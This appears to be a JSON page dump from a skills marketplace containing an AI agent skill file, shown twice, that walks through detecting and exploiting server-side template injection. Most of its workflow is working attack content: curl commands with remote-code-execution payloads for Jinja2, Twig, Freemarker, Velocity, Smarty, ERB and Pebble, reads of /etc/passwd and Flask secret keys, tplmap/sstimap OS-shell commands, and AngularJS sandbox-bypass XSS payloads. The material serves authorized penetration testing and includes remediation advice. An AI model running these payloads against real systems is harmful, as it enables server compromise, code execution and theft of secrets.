[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6AEQWJK2SAKPGS6JEGK85VC":3,"skill-same:01M6AEQWJK2SAKPGS6JEGK85VC":108},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":26,"publishedAt":47,"linkOnly":48,"markdownContent":49,"markdownBody":50,"frontMatter":51,"refName":67,"commitSha":68,"skillDirectory":69,"forksCount":70,"repositoryHtmlUrl":71,"repositoryHomepageUrl":72,"ownerHtmlUrl":73,"ownerBlogUrl":74,"ownerDescription":75,"updatedAt":76,"install":77,"resources":90},"01M6AEQWJK2SAKPGS6JEGK85VC","exploiting-template-injection-vulnerabilities",null,"Detects and exploits Server-Side Template Injection (SSTI) vulnerabilities across Jinja2, Twig, Freemarker, and other template engines to achieve remote code execution. Use when pentesting a web application that renders user input through a server-side template engine and you need to confirm and weaponize SSTI.","mukul975\u002FAnthropic-Cybersecurity-Skills","mukul975","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42860185?v=4","01M6ADEQR8T5M4EEG6C67BQCWF","Mahipal","01M6ADJPMYWG1E5GM1FWBE3128",35990,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-template-injection-vulnerabilities\u002FSKILL.md",[18,23],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发",[27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46],"exploiting template injection vulnerabilities","vulnerabilities","injection","pentesting","ssti","rce","web-security","t1059","execution","web-application-security","t1055","testing","owasp","penetration-testing","server","code","pr","web","cybersecurity","security","2026-11-10 10:12:30",false,"---\nname: exploiting-template-injection-vulnerabilities\ndescription: Detects and exploits Server-Side Template Injection (SSTI) vulnerabilities\n  across Jinja2, Twig, Freemarker, and other template engines to achieve remote\n  code execution. Use when pentesting a web application that renders user input\n  through a server-side template engine and you need to confirm and weaponize SSTI.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- penetration-testing\n- ssti\n- template-injection\n- rce\n- web-security\n- owasp\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1505.003\n- T1083\n- T1055\n---\n\n# Exploiting Template Injection Vulnerabilities\n\n## When to Use\n\n- During authorized penetration tests when user input is rendered through a server-side template engine\n- When testing error pages, email templates, PDF generators, or report builders that include user-supplied data\n- For assessing applications that allow users to customize templates or notification messages\n- When identifying potential SSTI in parameters that reflect arithmetic results (e.g., `{{7*7}}` returns `49`)\n- During security assessments of CMS platforms, marketing tools, or any application with templating functionality\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement with RCE testing scope\n- **Burp Suite Professional**: For intercepting and modifying template parameters\n- **tplmap**: Automated SSTI exploitation tool (`git clone https:\u002F\u002Fgithub.com\u002Fepinna\u002Ftplmap.git`)\n- **SSTImap**: Modern SSTI scanner (`pip install sstimap`)\n- **curl**: For manual SSTI payload testing\n- **Knowledge of template engines**: Jinja2, Twig, Freemarker, Velocity, Mako, Pebble, ERB, Smarty\n\n## Workflow\n\n### Step 1: Identify Template Injection Points\n\nFind parameters where user input is processed by a template engine.\n\n```bash\n# Inject mathematical expressions to detect template processing\n# If the server evaluates the expression, SSTI may be present\n\n# Universal detection payloads\nPAYLOADS=(\n  '{{7*7}}'           # Jinja2, Twig\n  '${7*7}'            # Freemarker, Velocity, Spring EL\n  '#{7*7}'            # Thymeleaf, Ruby ERB\n  '\u003C%= 7*7 %>'        # ERB (Ruby), EJS (Node.js)\n  '{7*7}'             # Smarty\n  '{{= 7*7}}'         # doT.js\n  '${{7*7}}'          # AngularJS\u002FSpring\n  '#set($x=7*7)$x'   # Velocity\n)\n\nfor payload in \"${PAYLOADS[@]}\"; do\n  encoded=$(python3 -c \"import urllib.parse; print(urllib.parse.quote('$payload'))\")\n  echo -n \"$payload -> \"\n  curl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=$encoded\" | grep -o \"49\"\ndone\n\n# Check common injection locations:\n# - Error pages with reflected input\n# - Profile fields (name, bio, signature)\n# - Email subject\u002Fbody templates\n# - PDF\u002Freport generation with custom fields\n# - Search results pages\n# - 404 pages reflecting the URL path\n# - Notification templates\n```\n\n### Step 2: Identify the Template Engine\n\nDetermine which template engine is in use to select the appropriate exploitation technique.\n\n```bash\n# Decision tree for engine identification:\n# {{7*'7'}} => 7777777 = Jinja2 (Python)\n# {{7*'7'}} => 49 = Twig (PHP)\n# ${7*7} => 49 = Freemarker\u002FVelocity (Java)\n# #{7*7} => 49 = Thymeleaf (Java)\n# \u003C%= 7*7 %> => 49 = ERB (Ruby) or EJS (Node.js)\n\n# Test Jinja2 vs Twig\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{7*'7'}}\"\n# 7777777 = Jinja2\n# 49 = Twig\n\n# Test for Jinja2 specifically\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{config}}\"\n# Returns Flask config = Jinja2\u002FFlask\n\n# Test for Freemarker\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=\\${.now}\"\n# Returns date\u002Ftime = Freemarker\n\n# Test for Velocity\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=%23set(%24a=1)%24a\"\n# Returns 1 = Velocity\n\n# Test for Smarty\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={php}echo%20'test';{\u002Fphp}\"\n# Returns test = Smarty\n\n# Test for Pebble\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{%27test%27.class}}\"\n# Returns class info = Pebble\n\n# Use tplmap for automated engine detection\npython3 tplmap.py -u \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=test\"\n```\n\n### Step 3: Exploit Jinja2 (Python\u002FFlask)\n\nAchieve code execution through Jinja2 template injection.\n\n```bash\n# Read configuration\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{config.items()}}\"\n\n# Access secret key\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{config.SECRET_KEY}}\"\n\n# RCE via Jinja2 - method 1: accessing os module through MRO\nPAYLOAD='{{\"\".__class__.__mro__[1].__subclasses__()[407](\"id\",shell=True,stdout=-1).communicate()}}'\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=$(python3 -c \"import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))\")\"\n\n# RCE via Jinja2 - method 2: using cycler\nPAYLOAD='{{cycler.__init__.__globals__.os.popen(\"id\").read()}}'\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=$(python3 -c \"import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))\")\"\n\n# RCE via Jinja2 - method 3: using lipsum\nPAYLOAD='{{lipsum.__globals__[\"os\"].popen(\"whoami\").read()}}'\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=$(python3 -c \"import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))\")\"\n\n# File read via Jinja2\nPAYLOAD='{{\"\".__class__.__mro__[1].__subclasses__()[40](\"\u002Fetc\u002Fpasswd\").read()}}'\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=$(python3 -c \"import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))\")\"\n\n# Enumerate available subclasses to find useful ones\nPAYLOAD='{{\"\".__class__.__mro__[1].__subclasses__()}}'\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=$(python3 -c \"import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))\")\"\n```\n\n### Step 4: Exploit Twig (PHP), Freemarker (Java), and Other Engines\n\nUse engine-specific payloads for exploitation.\n\n```bash\n# --- Twig (PHP) ---\n# RCE via Twig\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{['id']|filter('system')}}\"\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}\"\n\n# Twig file read\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{'\u002Fetc\u002Fpasswd'|file_excerpt(1,30)}}\"\n\n# --- Freemarker (Java) ---\n# RCE via Freemarker\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=\u003C#assign ex=\\\"freemarker.template.utility.Execute\\\"?new()>\\${ex(\\\"id\\\")}\"\n\n# Alternative Freemarker RCE\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=\\${\\\"freemarker.template.utility.Execute\\\"?new()(\\\"whoami\\\")}\"\n\n# --- Velocity (Java) ---\n# RCE via Velocity\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=%23set(%24e=%22e%22)%24e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22id%22)\"\n\n# --- Smarty (PHP) ---\n# RCE via Smarty\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={system('id')}\"\n\n# --- ERB (Ruby) ---\n# RCE via ERB\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=\u003C%25=%20system('id')%20%25>\"\n\n# --- Pebble (Java) ---\n# RCE via Pebble\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={%25%20set%20cmd%20=%20'id'%20%25}{{['java.lang.Runtime']|first.getRuntime().exec(cmd)}}\"\n```\n\n### Step 5: Automate with tplmap and SSTImap\n\nUse automated tools for comprehensive testing and exploitation.\n\n```bash\n# tplmap - Automated SSTI exploitation\npython3 tplmap.py -u \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=test\" --os-shell\n\n# tplmap with POST parameter\npython3 tplmap.py -u \"https:\u002F\u002Ftarget.example.com\u002Fpage\" -d \"name=test\" --os-cmd \"id\"\n\n# tplmap with custom headers\npython3 tplmap.py -u \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=test\" \\\n  -H \"Cookie: session=abc123\" \\\n  -H \"Authorization: Bearer token\" \\\n  --os-cmd \"whoami\"\n\n# SSTImap\nsstimap -u \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=test\"\nsstimap -u \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=test\" --os-shell\n\n# tplmap file read\npython3 tplmap.py -u \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=test\" \\\n  --download \"\u002Fetc\u002Fpasswd\" \"\u002Ftmp\u002Fpasswd\"\n\n# Burp Intruder approach:\n# 1. Send request to Intruder\n# 2. Mark the injectable parameter\n# 3. Load SSTI payload list\n# 4. Grep for indicators: \"49\", error messages, class names\n```\n\n### Step 6: Test Client-Side Template Injection (CSTI)\n\nAssess for Angular\u002FVue\u002FReact expression injection in client-side templates.\n\n```bash\n# AngularJS expression injection\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{constructor.constructor('alert(1)')()}}\"\n\n# AngularJS sandbox bypass (pre-1.6)\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{a]constructor.prototype.charAt=[].join;[\\$eval('a]alert(1)\u002F\u002F')]()}}\"\n\n# Vue.js expression injection\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{_c.constructor('alert(1)')()}}\"\n\n# Check for AngularJS ng-app on the page\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002F\" | grep -i \"ng-app\\|angular\\|vue\\|v-\"\n\n# Test with different CSTI payloads\nfor payload in '{{7*7}}' '{{constructor.constructor(\"return this\")()}}' \\\n  '{{$on.constructor(\"alert(1)\")()}}'; do\n  encoded=$(python3 -c \"import urllib.parse; print(urllib.parse.quote('$payload'))\")\n  echo -n \"$payload: \"\n  curl -s \"https:\u002F\u002Ftarget.example.com\u002Fsearch?q=$encoded\" | grep -oP \"49|alert|constructor\"\ndone\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **SSTI** | Server-Side Template Injection - injecting template directives that execute server-side |\n| **CSTI** | Client-Side Template Injection - injecting expressions into AngularJS\u002FVue templates (leads to XSS) |\n| **Template Engine** | Software that processes template files with placeholders, replacing them with data |\n| **Sandbox Escape** | Bypassing template engine security restrictions to access dangerous functions |\n| **MRO (Method Resolution Order)** | Python class hierarchy traversal used in Jinja2 exploitation |\n| **Object Introspection** | Using `__class__`, `__subclasses__()`, `__globals__` to navigate Python objects |\n| **Blind SSTI** | Template injection where output is not directly visible, requiring OOB techniques |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **tplmap** | Automated SSTI detection and exploitation with OS shell capability |\n| **SSTImap** | Modern SSTI scanner with support for multiple template engines |\n| **Burp Suite Professional** | Request interception and Intruder for payload fuzzing |\n| **Hackvertor (Burp Extension)** | Payload encoding and transformation for bypass techniques |\n| **PayloadsAllTheThings** | Comprehensive SSTI payload reference on GitHub |\n| **OWASP ZAP** | Automated SSTI detection in active scanning mode |\n\n## Common Scenarios\n\n### Scenario 1: Flask Email Template Injection\nA Flask application lets users customize email notification templates. The custom template is rendered with Jinja2 without sandboxing, allowing RCE through `{{config.items()}}` and subclass traversal.\n\n### Scenario 2: Java CMS Freemarker Injection\nA Java-based CMS allows administrators to edit page templates using Freemarker. A lower-privileged editor injects `\u003C#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"id\")}` to execute commands.\n\n### Scenario 3: Error Page SSTI\nA custom 404 error page reflects the requested URL path through a Twig template. Requesting `\u002F{{['id']|filter('system')}}` causes the server to execute the `id` command.\n\n### Scenario 4: AngularJS Client-Side Injection\nA search page renders results using AngularJS with `ng-bind-html`. Searching for `{{constructor.constructor('alert(document.cookie)')()}}` achieves XSS through AngularJS expression evaluation.\n\n## Output Format\n\n```\n## Template Injection Finding\n\n**Vulnerability**: Server-Side Template Injection (Jinja2) - RCE\n**Severity**: Critical (CVSS 9.8)\n**Location**: GET \u002Fpage?name= (name parameter)\n**Template Engine**: Jinja2 (Python 3.9 \u002F Flask 2.3)\n**OWASP Category**: A03:2021 - Injection\n\n### Reproduction Steps\n1. Send GET \u002Fpage?name={{7*7}} - Response contains \"49\" confirming SSTI\n2. Send GET \u002Fpage?name={{config.SECRET_KEY}} - Returns Flask secret key\n3. Send GET \u002Fpage?name={{cycler.__init__.__globals__.os.popen('id').read()}}\n4. Server returns: uid=33(www-data) gid=33(www-data)\n\n### Confirmed Impact\n- Remote code execution as www-data user\n- Secret key disclosure: Flask SECRET_KEY exposed\n- File system read: \u002Fetc\u002Fpasswd, application source code\n- Potential lateral movement to internal network\n\n### Recommendation\n1. Never pass user input directly to template render functions\n2. Use a sandboxed template environment (Jinja2 SandboxedEnvironment)\n3. Implement strict input validation and allowlisting for template variables\n4. Use logic-less template engines (Mustache, Handlebars) where possible\n5. Apply least-privilege OS permissions for the web application user\n```\n","# Exploiting Template Injection Vulnerabilities\n\n## When to Use\n\n- During authorized penetration tests when user input is rendered through a server-side template engine\n- When testing error pages, email templates, PDF generators, or report builders that include user-supplied data\n- For assessing applications that allow users to customize templates or notification messages\n- When identifying potential SSTI in parameters that reflect arithmetic results (e.g., `{{7*7}}` returns `49`)\n- During security assessments of CMS platforms, marketing tools, or any application with templating functionality\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement with RCE testing scope\n- **Burp Suite Professional**: For intercepting and modifying template parameters\n- **tplmap**: Automated SSTI exploitation tool (`git clone https:\u002F\u002Fgithub.com\u002Fepinna\u002Ftplmap.git`)\n- **SSTImap**: Modern SSTI scanner (`pip install sstimap`)\n- **curl**: For manual SSTI payload testing\n- **Knowledge of template engines**: Jinja2, Twig, Freemarker, Velocity, Mako, Pebble, ERB, Smarty\n\n## Workflow\n\n### Step 1: Identify Template Injection Points\n\nFind parameters where user input is processed by a template engine.\n\n```bash\n# Inject mathematical expressions to detect template processing\n# If the server evaluates the expression, SSTI may be present\n\n# Universal detection payloads\nPAYLOADS=(\n  '{{7*7}}'           # Jinja2, Twig\n  '${7*7}'            # Freemarker, Velocity, Spring EL\n  '#{7*7}'            # Thymeleaf, Ruby ERB\n  '\u003C%= 7*7 %>'        # ERB (Ruby), EJS (Node.js)\n  '{7*7}'             # Smarty\n  '{{= 7*7}}'         # doT.js\n  '${{7*7}}'          # AngularJS\u002FSpring\n  '#set($x=7*7)$x'   # Velocity\n)\n\nfor payload in \"${PAYLOADS[@]}\"; do\n  encoded=$(python3 -c \"import urllib.parse; print(urllib.parse.quote('$payload'))\")\n  echo -n \"$payload -> \"\n  curl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=$encoded\" | grep -o \"49\"\ndone\n\n# Check common injection locations:\n# - Error pages with reflected input\n# - Profile fields (name, bio, signature)\n# - Email subject\u002Fbody templates\n# - PDF\u002Freport generation with custom fields\n# - Search results pages\n# - 404 pages reflecting the URL path\n# - Notification templates\n```\n\n### Step 2: Identify the Template Engine\n\nDetermine which template engine is in use to select the appropriate exploitation technique.\n\n```bash\n# Decision tree for engine identification:\n# {{7*'7'}} => 7777777 = Jinja2 (Python)\n# {{7*'7'}} => 49 = Twig (PHP)\n# ${7*7} => 49 = Freemarker\u002FVelocity (Java)\n# #{7*7} => 49 = Thymeleaf (Java)\n# \u003C%= 7*7 %> => 49 = ERB (Ruby) or EJS (Node.js)\n\n# Test Jinja2 vs Twig\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{7*'7'}}\"\n# 7777777 = Jinja2\n# 49 = Twig\n\n# Test for Jinja2 specifically\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{config}}\"\n# Returns Flask config = Jinja2\u002FFlask\n\n# Test for Freemarker\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=\\${.now}\"\n# Returns date\u002Ftime = Freemarker\n\n# Test for Velocity\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=%23set(%24a=1)%24a\"\n# Returns 1 = Velocity\n\n# Test for Smarty\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={php}echo%20'test';{\u002Fphp}\"\n# Returns test = Smarty\n\n# Test for Pebble\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{%27test%27.class}}\"\n# Returns class info = Pebble\n\n# Use tplmap for automated engine detection\npython3 tplmap.py -u \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=test\"\n```\n\n### Step 3: Exploit Jinja2 (Python\u002FFlask)\n\nAchieve code execution through Jinja2 template injection.\n\n```bash\n# Read configuration\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{config.items()}}\"\n\n# Access secret key\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{config.SECRET_KEY}}\"\n\n# RCE via Jinja2 - method 1: accessing os module through MRO\nPAYLOAD='{{\"\".__class__.__mro__[1].__subclasses__()[407](\"id\",shell=True,stdout=-1).communicate()}}'\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=$(python3 -c \"import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))\")\"\n\n# RCE via Jinja2 - method 2: using cycler\nPAYLOAD='{{cycler.__init__.__globals__.os.popen(\"id\").read()}}'\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=$(python3 -c \"import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))\")\"\n\n# RCE via Jinja2 - method 3: using lipsum\nPAYLOAD='{{lipsum.__globals__[\"os\"].popen(\"whoami\").read()}}'\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=$(python3 -c \"import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))\")\"\n\n# File read via Jinja2\nPAYLOAD='{{\"\".__class__.__mro__[1].__subclasses__()[40](\"\u002Fetc\u002Fpasswd\").read()}}'\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=$(python3 -c \"import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))\")\"\n\n# Enumerate available subclasses to find useful ones\nPAYLOAD='{{\"\".__class__.__mro__[1].__subclasses__()}}'\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=$(python3 -c \"import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))\")\"\n```\n\n### Step 4: Exploit Twig (PHP), Freemarker (Java), and Other Engines\n\nUse engine-specific payloads for exploitation.\n\n```bash\n# --- Twig (PHP) ---\n# RCE via Twig\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{['id']|filter('system')}}\"\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}\"\n\n# Twig file read\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{'\u002Fetc\u002Fpasswd'|file_excerpt(1,30)}}\"\n\n# --- Freemarker (Java) ---\n# RCE via Freemarker\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=\u003C#assign ex=\\\"freemarker.template.utility.Execute\\\"?new()>\\${ex(\\\"id\\\")}\"\n\n# Alternative Freemarker RCE\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=\\${\\\"freemarker.template.utility.Execute\\\"?new()(\\\"whoami\\\")}\"\n\n# --- Velocity (Java) ---\n# RCE via Velocity\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=%23set(%24e=%22e%22)%24e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22id%22)\"\n\n# --- Smarty (PHP) ---\n# RCE via Smarty\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={system('id')}\"\n\n# --- ERB (Ruby) ---\n# RCE via ERB\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=\u003C%25=%20system('id')%20%25>\"\n\n# --- Pebble (Java) ---\n# RCE via Pebble\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={%25%20set%20cmd%20=%20'id'%20%25}{{['java.lang.Runtime']|first.getRuntime().exec(cmd)}}\"\n```\n\n### Step 5: Automate with tplmap and SSTImap\n\nUse automated tools for comprehensive testing and exploitation.\n\n```bash\n# tplmap - Automated SSTI exploitation\npython3 tplmap.py -u \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=test\" --os-shell\n\n# tplmap with POST parameter\npython3 tplmap.py -u \"https:\u002F\u002Ftarget.example.com\u002Fpage\" -d \"name=test\" --os-cmd \"id\"\n\n# tplmap with custom headers\npython3 tplmap.py -u \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=test\" \\\n  -H \"Cookie: session=abc123\" \\\n  -H \"Authorization: Bearer token\" \\\n  --os-cmd \"whoami\"\n\n# SSTImap\nsstimap -u \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=test\"\nsstimap -u \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=test\" --os-shell\n\n# tplmap file read\npython3 tplmap.py -u \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=test\" \\\n  --download \"\u002Fetc\u002Fpasswd\" \"\u002Ftmp\u002Fpasswd\"\n\n# Burp Intruder approach:\n# 1. Send request to Intruder\n# 2. Mark the injectable parameter\n# 3. Load SSTI payload list\n# 4. Grep for indicators: \"49\", error messages, class names\n```\n\n### Step 6: Test Client-Side Template Injection (CSTI)\n\nAssess for Angular\u002FVue\u002FReact expression injection in client-side templates.\n\n```bash\n# AngularJS expression injection\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{constructor.constructor('alert(1)')()}}\"\n\n# AngularJS sandbox bypass (pre-1.6)\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{a]constructor.prototype.charAt=[].join;[\\$eval('a]alert(1)\u002F\u002F')]()}}\"\n\n# Vue.js expression injection\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{_c.constructor('alert(1)')()}}\"\n\n# Check for AngularJS ng-app on the page\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002F\" | grep -i \"ng-app\\|angular\\|vue\\|v-\"\n\n# Test with different CSTI payloads\nfor payload in '{{7*7}}' '{{constructor.constructor(\"return this\")()}}' \\\n  '{{$on.constructor(\"alert(1)\")()}}'; do\n  encoded=$(python3 -c \"import urllib.parse; print(urllib.parse.quote('$payload'))\")\n  echo -n \"$payload: \"\n  curl -s \"https:\u002F\u002Ftarget.example.com\u002Fsearch?q=$encoded\" | grep -oP \"49|alert|constructor\"\ndone\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **SSTI** | Server-Side Template Injection - injecting template directives that execute server-side |\n| **CSTI** | Client-Side Template Injection - injecting expressions into AngularJS\u002FVue templates (leads to XSS) |\n| **Template Engine** | Software that processes template files with placeholders, replacing them with data |\n| **Sandbox Escape** | Bypassing template engine security restrictions to access dangerous functions |\n| **MRO (Method Resolution Order)** | Python class hierarchy traversal used in Jinja2 exploitation |\n| **Object Introspection** | Using `__class__`, `__subclasses__()`, `__globals__` to navigate Python objects |\n| **Blind SSTI** | Template injection where output is not directly visible, requiring OOB techniques |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **tplmap** | Automated SSTI detection and exploitation with OS shell capability |\n| **SSTImap** | Modern SSTI scanner with support for multiple template engines |\n| **Burp Suite Professional** | Request interception and Intruder for payload fuzzing |\n| **Hackvertor (Burp Extension)** | Payload encoding and transformation for bypass techniques |\n| **PayloadsAllTheThings** | Comprehensive SSTI payload reference on GitHub |\n| **OWASP ZAP** | Automated SSTI detection in active scanning mode |\n\n## Common Scenarios\n\n### Scenario 1: Flask Email Template Injection\nA Flask application lets users customize email notification templates. The custom template is rendered with Jinja2 without sandboxing, allowing RCE through `{{config.items()}}` and subclass traversal.\n\n### Scenario 2: Java CMS Freemarker Injection\nA Java-based CMS allows administrators to edit page templates using Freemarker. A lower-privileged editor injects `\u003C#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"id\")}` to execute commands.\n\n### Scenario 3: Error Page SSTI\nA custom 404 error page reflects the requested URL path through a Twig template. Requesting `\u002F{{['id']|filter('system')}}` causes the server to execute the `id` command.\n\n### Scenario 4: AngularJS Client-Side Injection\nA search page renders results using AngularJS with `ng-bind-html`. Searching for `{{constructor.constructor('alert(document.cookie)')()}}` achieves XSS through AngularJS expression evaluation.\n\n## Output Format\n\n```\n## Template Injection Finding\n\n**Vulnerability**: Server-Side Template Injection (Jinja2) - RCE\n**Severity**: Critical (CVSS 9.8)\n**Location**: GET \u002Fpage?name= (name parameter)\n**Template Engine**: Jinja2 (Python 3.9 \u002F Flask 2.3)\n**OWASP Category**: A03:2021 - Injection\n\n### Reproduction Steps\n1. Send GET \u002Fpage?name={{7*7}} - Response contains \"49\" confirming SSTI\n2. Send GET \u002Fpage?name={{config.SECRET_KEY}} - Returns Flask secret key\n3. Send GET \u002Fpage?name={{cycler.__init__.__globals__.os.popen('id').read()}}\n4. Server returns: uid=33(www-data) gid=33(www-data)\n\n### Confirmed Impact\n- Remote code execution as www-data user\n- Secret key disclosure: Flask SECRET_KEY exposed\n- File system read: \u002Fetc\u002Fpasswd, application source code\n- Potential lateral movement to internal network\n\n### Recommendation\n1. Never pass user input directly to template render functions\n2. Use a sandboxed template environment (Jinja2 SandboxedEnvironment)\n3. Implement strict input validation and allowlisting for template variables\n4. Use logic-less template engines (Mustache, Handlebars) where possible\n5. Apply least-privilege OS permissions for the web application user\n```\n",{"name":5,"tags":52,"author":54,"domain":45,"license":15,"version":55,"nist_csf":56,"subdomain":36,"description":7,"mitre_attack":61},[40,31,53,32,33,39],"template-injection","mahipal","1.0",[57,58,59,60],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01",[62,63,64,65,66],"T1190","T1059.007","T1505.003","T1083","T1055","main","54a798831d2266a3ca61ce68a7acb80b81160d57","skills\u002Fexploiting-template-injection-vulnerabilities",4395,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","https:\u002F\u002Fmahipal.engineer\u002FAnthropic-Cybersecurity-Skills\u002F","https:\u002F\u002Fgithub.com\u002Fmukul975","Mahipal.engineer","🔐 Cybersecurity | 💻 Dev | 📷 Street Photographer\r\n🎓 MSc | 📚 Research & AI Security","2026-08-31 12:32:44",{"source":8,"skillName":5,"commands":78,"prompt":88,"zipAvailable":89},[79,82,85],{"tool":80,"command":81},"npx","npx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill exploiting-template-injection-vulnerabilities",{"tool":83,"command":84},"bunx","bunx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill exploiting-template-injection-vulnerabilities",{"tool":86,"command":87},"pnpm","pnpm dlx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill 